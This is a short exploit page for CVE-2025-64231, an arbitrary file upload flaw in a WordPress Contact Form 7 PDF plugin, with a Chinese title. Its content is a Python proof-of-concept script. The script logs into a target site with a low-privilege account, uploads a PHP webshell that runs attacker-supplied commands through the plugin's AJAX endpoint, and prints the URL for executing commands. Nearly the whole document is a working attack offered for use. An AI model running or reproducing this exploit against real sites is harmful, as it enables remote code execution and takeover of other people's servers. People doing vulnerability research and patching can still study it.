CVE-2025-64231: WordPress Contact Form 7 PDF插件任意文件上传漏洞

import requests import sys # CVE-2025-64231 PoC - Arbitrary File Upload # Target: WordPress with rtwwcfp plugin <= 3.0.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker" PASSWORD = "password123" def get_nonce(login_html): # Extract WordPress nonce from login page import re match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', login_html) return match.group(1) if match else None def login(): # Step 1: Login to WordPress with low-privilege account session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" login_page = session.get(login_url) nonce = get_nonce(login_page.text) login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', '_wpnonce': nonce, 'redirect_to': '/wp-admin/' } resp = session.post(login_url, data=login_data) return session if 'wp-admin' in resp.url or resp.status_code == 200 else None def upload_shell(session): # Step 2: Upload malicious PHP shell via vulnerable endpoint upload_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # PHP webshell content shell_content = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" files = { 'file': ('shell.php', shell_content, 'application/octet-stream') } data = { 'action': 'rtwwcfp_upload_file', 'nonce': 'vulnerable_nonce_or_bypass' } response = session.post(upload_url, files=files, data=data) return response.json().get('url') if response.status_code == 200 else None def main(): print("[*] CVE-2025-64231 PoC - File Upload RCE") session = login() if not session: print("[-] Login failed") return print("[+] Logged in successfully") shell_url = upload_shell(session) if shell_url: print(f"[+] Shell uploaded: {shell_url}") print(f"[*] Execute command: {shell_url}?cmd=whoami") else: print("[-] Upload failed") if __name__ == "__main__": main()